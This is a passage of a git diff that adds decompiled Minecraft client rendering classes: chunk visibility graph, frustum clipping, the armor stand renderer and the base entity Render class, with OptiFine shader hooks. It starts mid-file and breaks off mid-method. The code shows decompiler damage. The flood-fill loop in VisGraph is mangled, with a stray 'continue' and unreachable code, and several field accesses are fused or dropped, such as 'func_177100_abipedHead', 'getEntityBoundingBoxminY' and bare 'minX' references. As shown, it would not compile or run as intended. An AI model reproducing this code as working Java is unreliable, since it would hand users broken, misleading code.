+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        int var5 = var2[var4];
+        
+        if (!field_178612_d.get(var5))
+        {
+          var1.func_178620_a(func_178604_a(var5));
+        }
+      }
+    }
+    
+    return var1;
+  }
+  
+  public Set func_178609_b(BlockPos p_178609_1_)
+  {
+    return func_178604_a(func_178608_c(p_178609_1_));
+  }
+  
+  private Set func_178604_a(int p_178604_1_)
+  {
+    EnumSet var2 = EnumSet.noneOf(EnumFacing.class);
+    ArrayDeque var3 = new ArrayDeque(384);
+    var3.add(IntegerCache.valueOf(p_178604_1_));
+    field_178612_d.set(p_178604_1_, true);
+    int var6;
+    int var7; for (; !var3.isEmpty(); 
+        
+
+
+
+
+
+        var7 < var6)
+    {
+      int var4 = ((Integer)var3.poll()).intValue();
+      func_178610_a(var4, var2);
+      EnumFacing[] var5 = EnumFacing.VALUES;
+      var6 = var5.length;
+      
+      var7 = 0; continue;
+      
+      EnumFacing var8 = var5[var7];
+      int var9 = func_178603_a(var4, var8);
+      
+      if ((var9 >= 0) && (!field_178612_d.get(var9)))
+      {
+        field_178612_d.set(var9, true);
+        var3.add(IntegerCache.valueOf(var9));
+      }
+      var7++;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    return var2;
+  }
+  
+  private void func_178610_a(int p_178610_1_, Set p_178610_2_)
+  {
+    int var3 = p_178610_1_ >> 0 & 0xF;
+    
+    if (var3 == 0)
+    {
+      p_178610_2_.add(EnumFacing.WEST);
+    }
+    else if (var3 == 15)
+    {
+      p_178610_2_.add(EnumFacing.EAST);
+    }
+    
+    int var4 = p_178610_1_ >> 8 & 0xF;
+    
+    if (var4 == 0)
+    {
+      p_178610_2_.add(EnumFacing.DOWN);
+    }
+    else if (var4 == 15)
+    {
+      p_178610_2_.add(EnumFacing.UP);
+    }
+    
+    int var5 = p_178610_1_ >> 4 & 0xF;
+    
+    if (var5 == 0)
+    {
+      p_178610_2_.add(EnumFacing.NORTH);
+    }
+    else if (var5 == 15)
+    {
+      p_178610_2_.add(EnumFacing.SOUTH);
+    }
+  }
+  
+  private int func_178603_a(int p_178603_1_, EnumFacing p_178603_2_)
+  {
+    switch (SwitchEnumFacing.field_178617_a[p_178603_2_.ordinal()])
+    {
+    case 1: 
+      if ((p_178603_1_ >> 8 & 0xF) == 0)
+      {
+        return -1;
+      }
+      
+      return p_178603_1_ - field_178615_c;
+    
+    case 2: 
+      if ((p_178603_1_ >> 8 & 0xF) == 15)
+      {
+        return -1;
+      }
+      
+      return p_178603_1_ + field_178615_c;
+    
+    case 3: 
+      if ((p_178603_1_ >> 4 & 0xF) == 0)
+      {
+        return -1;
+      }
+      
+      return p_178603_1_ - field_178614_b;
+    
+    case 4: 
+      if ((p_178603_1_ >> 4 & 0xF) == 15)
+      {
+        return -1;
+      }
+      
+      return p_178603_1_ + field_178614_b;
+    
+    case 5: 
+      if ((p_178603_1_ >> 0 & 0xF) == 0)
+      {
+        return -1;
+      }
+      
+      return p_178603_1_ - field_178616_a;
+    
+    case 6: 
+      if ((p_178603_1_ >> 0 & 0xF) == 15)
+      {
+        return -1;
+      }
+      
+      return p_178603_1_ + field_178616_a;
+    }
+    
+    return -1;
+  }
+  
+
+  static
+  {
+    boolean var0 = false;
+    boolean var1 = true;
+    int var2 = 0;
+    
+    for (int var3 = 0; var3 < 16; var3++)
+    {
+      for (int var4 = 0; var4 < 16; var4++)
+      {
+        for (int var5 = 0; var5 < 16; var5++)
+        {
+          if ((var3 == 0) || (var3 == 15) || (var4 == 0) || (var4 == 15) || (var5 == 0) || (var5 == 15))
+          {
+            field_178613_e[(var2++)] = func_178605_a(var3, var4, var5); }
+        }
+      }
+    }
+  }
+  
+  public VisGraph() {}
+  
+  static final class SwitchEnumFacing {
+    static final int[] field_178617_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002449";
+    
+    static
+    {
+      try
+      {
+        field_178617_a[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178617_a[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178617_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178617_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178617_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_178617_a[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/culling/ClippingHelper.java b/src/minecraft/net/minecraft/client/renderer/culling/ClippingHelper.java
new file mode 100644
index 0000000..2b38e00
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/culling/ClippingHelper.java
@@ -0,0 +1,40 @@
+package net.minecraft.client.renderer.culling;
+
+public class ClippingHelper
+{
+  public float[][] frustum = new float[6][4];
+  public float[] field_178625_b = new float[16];
+  public float[] field_178626_c = new float[16];
+  public float[] clippingMatrix = new float[16];
+  private static final String __OBFID = "CL_00000977";
+  
+  public ClippingHelper() {}
+  
+  private float dot(float[] p_178624_1_, float p_178624_2_, float p_178624_4_, float p_178624_6_) { return p_178624_1_[0] * p_178624_2_ + p_178624_1_[1] * p_178624_4_ + p_178624_1_[2] * p_178624_6_ + p_178624_1_[3]; }
+  
+
+
+
+
+  public boolean isBoxInFrustum(double p_78553_1_, double p_78553_3_, double p_78553_5_, double p_78553_7_, double p_78553_9_, double p_78553_11_)
+  {
+    float minXf = (float)p_78553_1_;
+    float minYf = (float)p_78553_3_;
+    float minZf = (float)p_78553_5_;
+    float maxXf = (float)p_78553_7_;
+    float maxYf = (float)p_78553_9_;
+    float maxZf = (float)p_78553_11_;
+    
+    for (int var13 = 0; var13 < 6; var13++)
+    {
+      float[] var14 = frustum[var13];
+      
+      if ((dot(var14, minXf, minYf, minZf) <= 0.0F) && (dot(var14, maxXf, minYf, minZf) <= 0.0F) && (dot(var14, minXf, maxYf, minZf) <= 0.0F) && (dot(var14, maxXf, maxYf, minZf) <= 0.0F) && (dot(var14, minXf, minYf, maxZf) <= 0.0F) && (dot(var14, maxXf, minYf, maxZf) <= 0.0F) && (dot(var14, minXf, maxYf, maxZf) <= 0.0F) && (dot(var14, maxXf, maxYf, maxZf) <= 0.0F))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/culling/ClippingHelperImpl.java b/src/minecraft/net/minecraft/client/renderer/culling/ClippingHelperImpl.java
new file mode 100644
index 0000000..f5a9f2a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/culling/ClippingHelperImpl.java
@@ -0,0 +1,100 @@
+package net.minecraft.client.renderer.culling;
+
+import java.nio.Buffer;
+import java.nio.FloatBuffer;
+import net.minecraft.client.renderer.GLAllocation;
+import net.minecraft.client.renderer.GlStateManager;
+
+public class ClippingHelperImpl extends ClippingHelper
+{
+  private static ClippingHelperImpl instance = new ClippingHelperImpl();
+  private FloatBuffer projectionMatrixBuffer = GLAllocation.createDirectFloatBuffer(16);
+  private FloatBuffer modelviewMatrixBuffer = GLAllocation.createDirectFloatBuffer(16);
+  private FloatBuffer field_78564_h = GLAllocation.createDirectFloatBuffer(16);
+  
+  private static final String __OBFID = "CL_00000975";
+  
+  public ClippingHelperImpl() {}
+  
+  public static ClippingHelper getInstance()
+  {
+    instance.init();
+    return instance;
+  }
+  
+  private void func_180547_a(float[] p_180547_1_)
+  {
+    float var2 = net.minecraft.util.MathHelper.sqrt_float(p_180547_1_[0] * p_180547_1_[0] + p_180547_1_[1] * p_180547_1_[1] + p_180547_1_[2] * p_180547_1_[2]);
+    p_180547_1_[0] /= var2;
+    p_180547_1_[1] /= var2;
+    p_180547_1_[2] /= var2;
+    p_180547_1_[3] /= var2;
+  }
+  
+  public void init()
+  {
+    projectionMatrixBuffer.clear();
+    modelviewMatrixBuffer.clear();
+    field_78564_h.clear();
+    GlStateManager.getFloat(2983, projectionMatrixBuffer);
+    GlStateManager.getFloat(2982, modelviewMatrixBuffer);
+    float[] var1 = field_178625_b;
+    float[] var2 = field_178626_c;
+    projectionMatrixBuffer.flip().limit(16);
+    projectionMatrixBuffer.get(var1);
+    modelviewMatrixBuffer.flip().limit(16);
+    modelviewMatrixBuffer.get(var2);
+    clippingMatrix[0] = (var2[0] * var1[0] + var2[1] * var1[4] + var2[2] * var1[8] + var2[3] * var1[12]);
+    clippingMatrix[1] = (var2[0] * var1[1] + var2[1] * var1[5] + var2[2] * var1[9] + var2[3] * var1[13]);
+    clippingMatrix[2] = (var2[0] * var1[2] + var2[1] * var1[6] + var2[2] * var1[10] + var2[3] * var1[14]);
+    clippingMatrix[3] = (var2[0] * var1[3] + var2[1] * var1[7] + var2[2] * var1[11] + var2[3] * var1[15]);
+    clippingMatrix[4] = (var2[4] * var1[0] + var2[5] * var1[4] + var2[6] * var1[8] + var2[7] * var1[12]);
+    clippingMatrix[5] = (var2[4] * var1[1] + var2[5] * var1[5] + var2[6] * var1[9] + var2[7] * var1[13]);
+    clippingMatrix[6] = (var2[4] * var1[2] + var2[5] * var1[6] + var2[6] * var1[10] + var2[7] * var1[14]);
+    clippingMatrix[7] = (var2[4] * var1[3] + var2[5] * var1[7] + var2[6] * var1[11] + var2[7] * var1[15]);
+    clippingMatrix[8] = (var2[8] * var1[0] + var2[9] * var1[4] + var2[10] * var1[8] + var2[11] * var1[12]);
+    clippingMatrix[9] = (var2[8] * var1[1] + var2[9] * var1[5] + var2[10] * var1[9] + var2[11] * var1[13]);
+    clippingMatrix[10] = (var2[8] * var1[2] + var2[9] * var1[6] + var2[10] * var1[10] + var2[11] * var1[14]);
+    clippingMatrix[11] = (var2[8] * var1[3] + var2[9] * var1[7] + var2[10] * var1[11] + var2[11] * var1[15]);
+    clippingMatrix[12] = (var2[12] * var1[0] + var2[13] * var1[4] + var2[14] * var1[8] + var2[15] * var1[12]);
+    clippingMatrix[13] = (var2[12] * var1[1] + var2[13] * var1[5] + var2[14] * var1[9] + var2[15] * var1[13]);
+    clippingMatrix[14] = (var2[12] * var1[2] + var2[13] * var1[6] + var2[14] * var1[10] + var2[15] * var1[14]);
+    clippingMatrix[15] = (var2[12] * var1[3] + var2[13] * var1[7] + var2[14] * var1[11] + var2[15] * var1[15]);
+    float[] var3 = frustum[0];
+    var3[0] = (clippingMatrix[3] - clippingMatrix[0]);
+    var3[1] = (clippingMatrix[7] - clippingMatrix[4]);
+    var3[2] = (clippingMatrix[11] - clippingMatrix[8]);
+    var3[3] = (clippingMatrix[15] - clippingMatrix[12]);
+    func_180547_a(var3);
+    float[] var4 = frustum[1];
+    var4[0] = (clippingMatrix[3] + clippingMatrix[0]);
+    var4[1] = (clippingMatrix[7] + clippingMatrix[4]);
+    var4[2] = (clippingMatrix[11] + clippingMatrix[8]);
+    var4[3] = (clippingMatrix[15] + clippingMatrix[12]);
+    func_180547_a(var4);
+    float[] var5 = frustum[2];
+    var5[0] = (clippingMatrix[3] + clippingMatrix[1]);
+    var5[1] = (clippingMatrix[7] + clippingMatrix[5]);
+    var5[2] = (clippingMatrix[11] + clippingMatrix[9]);
+    var5[3] = (clippingMatrix[15] + clippingMatrix[13]);
+    func_180547_a(var5);
+    float[] var6 = frustum[3];
+    var6[0] = (clippingMatrix[3] - clippingMatrix[1]);
+    var6[1] = (clippingMatrix[7] - clippingMatrix[5]);
+    var6[2] = (clippingMatrix[11] - clippingMatrix[9]);
+    var6[3] = (clippingMatrix[15] - clippingMatrix[13]);
+    func_180547_a(var6);
+    float[] var7 = frustum[4];
+    var7[0] = (clippingMatrix[3] - clippingMatrix[2]);
+    var7[1] = (clippingMatrix[7] - clippingMatrix[6]);
+    var7[2] = (clippingMatrix[11] - clippingMatrix[10]);
+    var7[3] = (clippingMatrix[15] - clippingMatrix[14]);
+    func_180547_a(var7);
+    float[] var8 = frustum[5];
+    var8[0] = (clippingMatrix[3] + clippingMatrix[2]);
+    var8[1] = (clippingMatrix[7] + clippingMatrix[6]);
+    var8[2] = (clippingMatrix[11] + clippingMatrix[10]);
+    var8[3] = (clippingMatrix[15] + clippingMatrix[14]);
+    func_180547_a(var8);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/culling/Frustrum.java b/src/minecraft/net/minecraft/client/renderer/culling/Frustrum.java
new file mode 100644
index 0000000..4194ea7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/culling/Frustrum.java
@@ -0,0 +1,45 @@
+package net.minecraft.client.renderer.culling;
+
+import net.minecraft.util.AxisAlignedBB;
+
+public class Frustrum implements ICamera
+{
+  private ClippingHelper clippingHelper;
+  private double xPosition;
+  private double yPosition;
+  private double zPosition;
+  private static final String __OBFID = "CL_00000976";
+  
+  public Frustrum()
+  {
+    this(ClippingHelperImpl.getInstance());
+  }
+  
+  public Frustrum(ClippingHelper p_i46196_1_)
+  {
+    clippingHelper = p_i46196_1_;
+  }
+  
+  public void setPosition(double p_78547_1_, double p_78547_3_, double p_78547_5_)
+  {
+    xPosition = p_78547_1_;
+    yPosition = p_78547_3_;
+    zPosition = p_78547_5_;
+  }
+  
+
+
+
+  public boolean isBoxInFrustum(double p_78548_1_, double p_78548_3_, double p_78548_5_, double p_78548_7_, double p_78548_9_, double p_78548_11_)
+  {
+    return clippingHelper.isBoxInFrustum(p_78548_1_ - xPosition, p_78548_3_ - yPosition, p_78548_5_ - zPosition, p_78548_7_ - xPosition, p_78548_9_ - yPosition, p_78548_11_ - zPosition);
+  }
+  
+
+
+
+  public boolean isBoundingBoxInFrustum(AxisAlignedBB p_78546_1_)
+  {
+    return isBoxInFrustum(minX, minY, minZ, maxX, maxY, maxZ);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/culling/ICamera.java b/src/minecraft/net/minecraft/client/renderer/culling/ICamera.java
new file mode 100644
index 0000000..936937b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/culling/ICamera.java
@@ -0,0 +1,10 @@
+package net.minecraft.client.renderer.culling;
+
+import net.minecraft.util.AxisAlignedBB;
+
+public abstract interface ICamera
+{
+  public abstract boolean isBoundingBoxInFrustum(AxisAlignedBB paramAxisAlignedBB);
+  
+  public abstract void setPosition(double paramDouble1, double paramDouble2, double paramDouble3);
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/ArmorStandRenderer.java b/src/minecraft/net/minecraft/client/renderer/entity/ArmorStandRenderer.java
new file mode 100644
index 0000000..751aef7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/ArmorStandRenderer.java
@@ -0,0 +1,87 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelArmorStand;
+import net.minecraft.client.model.ModelArmorStandArmor;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerBipedArmor;
+import net.minecraft.client.renderer.entity.layers.LayerCustomHead;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItem;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.util.ResourceLocation;
+
+public class ArmorStandRenderer extends RendererLivingEntity
+{
+  public static final ResourceLocation field_177103_a = new ResourceLocation("textures/entity/armorstand/wood.png");
+  private static final String __OBFID = "CL_00002447";
+  
+  public ArmorStandRenderer(RenderManager p_i46195_1_)
+  {
+    super(p_i46195_1_, new ModelArmorStand(), 0.0F);
+    LayerBipedArmor var2 = new LayerBipedArmor(this)
+    {
+      private static final String __OBFID = "CL_00002446";
+      
+      protected void func_177177_a() {
+        field_177189_c = new ModelArmorStandArmor(0.5F);
+        field_177186_d = new ModelArmorStandArmor(1.0F);
+      }
+    };
+    addLayer(var2);
+    addLayer(new LayerHeldItem(this));
+    addLayer(new LayerCustomHead(func_177100_abipedHead));
+  }
+  
+  protected ResourceLocation func_177102_a(EntityArmorStand p_177102_1_)
+  {
+    return field_177103_a;
+  }
+  
+  public ModelArmorStand func_177100_a()
+  {
+    return (ModelArmorStand)super.getMainModel();
+  }
+  
+  protected void func_177101_a(EntityArmorStand p_177101_1_, float p_177101_2_, float p_177101_3_, float p_177101_4_)
+  {
+    GlStateManager.rotate(180.0F - p_177101_3_, 0.0F, 1.0F, 0.0F);
+  }
+  
+  protected boolean func_177099_b(EntityArmorStand p_177099_1_)
+  {
+    return p_177099_1_.getAlwaysRenderNameTag();
+  }
+  
+
+
+
+  protected boolean canRenderName(EntityLivingBase targetEntity)
+  {
+    return func_177099_b((EntityArmorStand)targetEntity);
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    func_177101_a((EntityArmorStand)p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+  public ModelBase getMainModel()
+  {
+    return func_177100_a();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_177102_a((EntityArmorStand)p_110775_1_);
+  }
+  
+  protected boolean func_177070_b(Entity p_177070_1_)
+  {
+    return func_177099_b((EntityArmorStand)p_177070_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/Render.java b/src/minecraft/net/minecraft/client/renderer/entity/Render.java
new file mode 100644
index 0000000..ef19469
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/Render.java
@@ -0,0 +1,397 @@
+package net.minecraft.client.renderer.entity;
+
+import java.util.Iterator;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.culling.ICamera;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+
+public abstract class Render
+{
+  private static final ResourceLocation shadowTextures = new ResourceLocation("textures/misc/shadow.png");
+  
+
+  protected final RenderManager renderManager;
+  
+  protected float shadowSize;
+  
+  protected float shadowOpaque = 1.0F;
+  
+  protected Render(RenderManager p_i46179_1_)
+  {
+    renderManager = p_i46179_1_;
+  }
+  
+  public boolean func_177071_a(Entity p_177071_1_, ICamera p_177071_2_, double p_177071_3_, double p_177071_5_, double p_177071_7_)
+  {
+    return (p_177071_1_.isInRangeToRender3d(p_177071_3_, p_177071_5_, p_177071_7_)) && ((ignoreFrustumCheck) || (p_177071_2_.isBoundingBoxInFrustum(p_177071_1_.getEntityBoundingBox())));
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_177067_a(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_);
+  }
+  
+  protected void func_177067_a(Entity p_177067_1_, double p_177067_2_, double p_177067_4_, double p_177067_6_)
+  {
+    if (func_177070_b(p_177067_1_))
+    {
+      renderLivingLabel(p_177067_1_, p_177067_1_.getDisplayName().getFormattedText(), p_177067_2_, p_177067_4_, p_177067_6_, 64);
+    }
+  }
+  
+  protected boolean func_177070_b(Entity p_177070_1_)
+  {
+    return (p_177070_1_.getAlwaysRenderNameTagForRender()) && (p_177070_1_.hasCustomName());
+  }
+  
+  protected void func_177069_a(Entity p_177069_1_, double p_177069_2_, double p_177069_4_, double p_177069_6_, String p_177069_8_, float p_177069_9_, double p_177069_10_)
+  {
+    renderLivingLabel(p_177069_1_, p_177069_8_, p_177069_2_, p_177069_4_, p_177069_6_, 64);
+  }
+  
+
+
+  protected abstract ResourceLocation getEntityTexture(Entity paramEntity);
+  
+
+  protected boolean bindEntityTexture(Entity p_180548_1_)
+  {
+    ResourceLocation var2 = getEntityTexture(p_180548_1_);
+    
+    if (var2 == null)
+    {
+      return false;
+    }
+    
+
+    bindTexture(var2);
+    return true;
+  }
+  
+
+  public void bindTexture(ResourceLocation p_110776_1_)
+  {
+    renderManager.renderEngine.bindTexture(p_110776_1_);
+  }
+  
+
+
+
+  private void renderEntityOnFire(Entity p_76977_1_, double p_76977_2_, double p_76977_4_, double p_76977_6_, float p_76977_8_)
+  {
+    GlStateManager.disableLighting();
+    TextureMap var9 = Minecraft.getMinecraft().getTextureMapBlocks();
+    TextureAtlasSprite var10 = var9.getAtlasSprite("minecraft:blocks/fire_layer_0");
+    TextureAtlasSprite var11 = var9.getAtlasSprite("minecraft:blocks/fire_layer_1");
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_76977_2_, (float)p_76977_4_, (float)p_76977_6_);
+    float var12 = width * 1.4F;
+    GlStateManager.scale(var12, var12, var12);
+    Tessellator var13 = Tessellator.getInstance();
+    WorldRenderer var14 = var13.getWorldRenderer();
+    float var15 = 0.5F;
+    float var16 = 0.0F;
+    float var17 = height / var12;
+    float var18 = (float)(posY - getEntityBoundingBoxminY);
+    GlStateManager.rotate(-renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+    GlStateManager.translate(0.0F, 0.0F, -0.3F + (int)var17 * 0.02F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    float var19 = 0.0F;
+    int var20 = 0;
+    var14.startDrawingQuads();
+    
+    while (var17 > 0.0F)
+    {
+      TextureAtlasSprite var21 = var20 % 2 == 0 ? var10 : var11;
+      bindTexture(TextureMap.locationBlocksTexture);
+      float var22 = var21.getMinU();
+      float var23 = var21.getMinV();
+      float var24 = var21.getMaxU();
+      float var25 = var21.getMaxV();
+      
+      if (var20 / 2 % 2 == 0)
+      {
+        float var26 = var24;
+        var24 = var22;
+        var22 = var26;
+      }
+      
+      var14.addVertexWithUV(var15 - var16, 0.0F - var18, var19, var24, var25);
+      var14.addVertexWithUV(-var15 - var16, 0.0F - var18, var19, var22, var25);
+      var14.addVertexWithUV(-var15 - var16, 1.4F - var18, var19, var22, var23);
+      var14.addVertexWithUV(var15 - var16, 1.4F - var18, var19, var24, var23);
+      var17 -= 0.45F;
+      var18 -= 0.45F;
+      var15 *= 0.9F;
+      var19 += 0.03F;
+      var20++;
+    }
+    
+    var13.draw();
+    GlStateManager.popMatrix();
+    GlStateManager.enableLighting();
+  }
+  
+
+
+
+
+  private void renderShadow(Entity p_76975_1_, double p_76975_2_, double p_76975_4_, double p_76975_6_, float p_76975_8_, float p_76975_9_)
+  {
+    if ((!optifine.Config.isShaders()) || (!shadersmod.client.Shaders.shouldSkipDefaultShadow))
+    {
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      renderManager.renderEngine.bindTexture(shadowTextures);
+      World var10 = getWorldFromRenderManager();
+      GlStateManager.depthMask(false);
+      float var11 = shadowSize;
+      
+      if ((p_76975_1_ instanceof EntityLiving))
+      {
+        EntityLiving var35 = (EntityLiving)p_76975_1_;
+        var11 *= var35.getRenderSizeModifier();
+        
+        if (var35.isChild())
+        {
+          var11 *= 0.5F;
+        }
+      }
+      
+      double var351 = lastTickPosX + (posX - lastTickPosX) * p_76975_9_;
+      double var14 = lastTickPosY + (posY - lastTickPosY) * p_76975_9_;
+      double var16 = lastTickPosZ + (posZ - lastTickPosZ) * p_76975_9_;
+      int var18 = MathHelper.floor_double(var351 - var11);
+      int var19 = MathHelper.floor_double(var351 + var11);
+      int var20 = MathHelper.floor_double(var14 - var11);
+      int var21 = MathHelper.floor_double(var14);
+      int var22 = MathHelper.floor_double(var16 - var11);
+      int var23 = MathHelper.floor_double(var16 + var11);
+      double var24 = p_76975_2_ - var351;
+      double var26 = p_76975_4_ - var14;
+      double var28 = p_76975_6_ - var16;
+      Tessellator var30 = Tessellator.getInstance();
+      WorldRenderer var31 = var30.getWorldRenderer();
+      var31.startDrawingQuads();
+      Iterator var32 = BlockPos.getAllInBox(new BlockPos(var18, var20, var22), new BlockPos(var19, var21, var23)).iterator();
+      
+      while (var32.hasNext())
+      {
+        BlockPos var33 = (BlockPos)var32.next();
+        Block var34 = var10.getBlockState(var33.offsetDown()).getBlock();
+        
+        if ((var34.getRenderType() != -1) && (var10.getLightFromNeighbors(var33) > 3))
+        {
+          func_180549_a(var34, p_76975_2_, p_76975_4_, p_76975_6_, var33, p_76975_8_, var11, var24, var26, var28);
+        }
+      }
+      
+      var30.draw();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.disableBlend();
+      GlStateManager.depthMask(true);
+    }
+  }
+  
+
+
+
+  private World getWorldFromRenderManager()
+  {
+    return renderManager.worldObj;
+  }
+  
+  private void func_180549_a(Block p_180549_1_, double p_180549_2_, double p_180549_4_, double p_180549_6_, BlockPos p_180549_8_, float p_180549_9_, float p_180549_10_, double p_180549_11_, double p_180549_13_, double p_180549_15_)
+  {
+    if (p_180549_1_.isFullCube())
+    {
+      Tessellator var17 = Tessellator.getInstance();
+      WorldRenderer var18 = var17.getWorldRenderer();
+      double var19 = (p_180549_9_ - (p_180549_4_ - (p_180549_8_.getY() + p_180549_13_)) / 2.0D) * 0.5D * getWorldFromRenderManager().getLightBrightness(p_180549_8_);
+      
+      if (var19 >= 0.0D)
+      {
+        if (var19 > 1.0D)
+        {
+          var19 = 1.0D;
+        }
+        
+        var18.func_178960_a(1.0F, 1.0F, 1.0F, (float)var19);
+        double var21 = p_180549_8_.getX() + p_180549_1_.getBlockBoundsMinX() + p_180549_11_;
+        double var23 = p_180549_8_.getX() + p_180549_1_.getBlockBoundsMaxX() + p_180549_11_;
+        double var25 = p_180549_8_.getY() + p_180549_1_.getBlockBoundsMinY() + p_180549_13_ + 0.015625D;
+        double var27 = p_180549_8_.getZ() + p_180549_1_.getBlockBoundsMinZ() + p_180549_15_;
+        double var29 = p_180549_8_.getZ() + p_180549_1_.getBlockBoundsMaxZ() + p_180549_15_;
+        float var31 = (float)((p_180549_2_ - var21) / 2.0D / p_180549_10_ + 0.5D);
+        float var32 = (float)((p_180549_2_ - var23) / 2.0D / p_180549_10_ + 0.5D);
+        float var33 = (float)((p_180549_6_ - var27) / 2.0D / p_180549_10_ + 0.5D);
+        float var34 = (float)((p_180549_6_ - var29) / 2.0D / p_180549_10_ + 0.5D);
+        var18.addVertexWithUV(var21, var25, var27, var31, var33);
+        var18.addVertexWithUV(var21, var25, var29, var31, var34);
+        var18.addVertexWithUV(var23, var25, var29, var32, var34);
+        var18.addVertexWithUV(var23, var25, var27, var32, var33);
+      }
+    }
+  }
+  
+
+
+
+  public static void renderOffsetAABB(AxisAlignedBB p_76978_0_, double p_76978_1_, double p_76978_3_, double p_76978_5_)
+  {
+    GlStateManager.func_179090_x();
+    Tessellator var7 = Tessellator.getInstance();
+    WorldRenderer var8 = var7.getWorldRenderer();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    var8.startDrawingQuads();
+    var8.setTranslation(p_76978_1_, p_76978_3_, p_76978_5_);
+    var8.func_178980_d(0.0F, 0.0F, -1.0F);
+    var8.addVertex(minX, maxY, minZ);
+    var8.addVertex(maxX, maxY, minZ);
+    var8.addVertex(maxX, minY, minZ);
+    var8.addVertex(minX, minY, minZ);
+    var8.func_178980_d(0.0F, 0.0F, 1.0F);
+    var8.addVertex(minX, minY, maxZ);
+    var8.addVertex(maxX, minY, maxZ);
+    var8.addVertex(maxX, maxY, maxZ);
+    var8.addVertex(minX, maxY, maxZ);
+    var8.func_178980_d(0.0F, -1.0F, 0.0F);
+    var8.addVertex(minX, minY, minZ);
+    var8.addVertex(maxX, minY, minZ);
+    var8.addVertex(maxX, minY, maxZ);
+    var8.addVertex(minX, minY, maxZ);
+    var8.func_178980_d(0.0F, 1.0F, 0.0F);
+    var8.addVertex(minX, maxY, maxZ);
+    var8.addVertex(maxX, maxY, maxZ);
+    var8.addVertex(maxX, maxY, minZ);
+    var8.addVertex(minX, maxY, minZ);
+    var8.func_178980_d(-1.0F, 0.0F, 0.0F);
+    var8.addVertex(minX, minY, maxZ);
+    var8.addVertex(minX, maxY, maxZ);
+    var8.addVertex(minX, maxY, minZ);
+    var8.addVertex(minX, minY, minZ);
+    var8.func_178980_d(1.0F, 0.0F, 0.0F);
+    var8.addVertex(maxX, minY, minZ);
+    var8.addVertex(maxX, maxY, minZ);
+    var8.addVertex(maxX, maxY, maxZ);
+    var8.addVertex(maxX, minY, maxZ);
+    var8.setTranslation(0.0D, 0.0D, 0.0D);
+    var7.draw();
+    GlStateManager.func_179098_w();
+  }
+  
+
+
+
+  public void doRenderShadowAndFire(Entity p_76979_1_, double p_76979_2_, double p_76979_4_, double p_76979_6_, float p_76979_8_, float p_76979_9_)
+  {
+    if (renderManager.options != null)
+    {
+      if ((renderManager.options.fancyGraphics) && (shadowSize > 0.0F) && (!p_76979_1_.isInvisible()) && (renderManager.func_178627_a()))
+      {
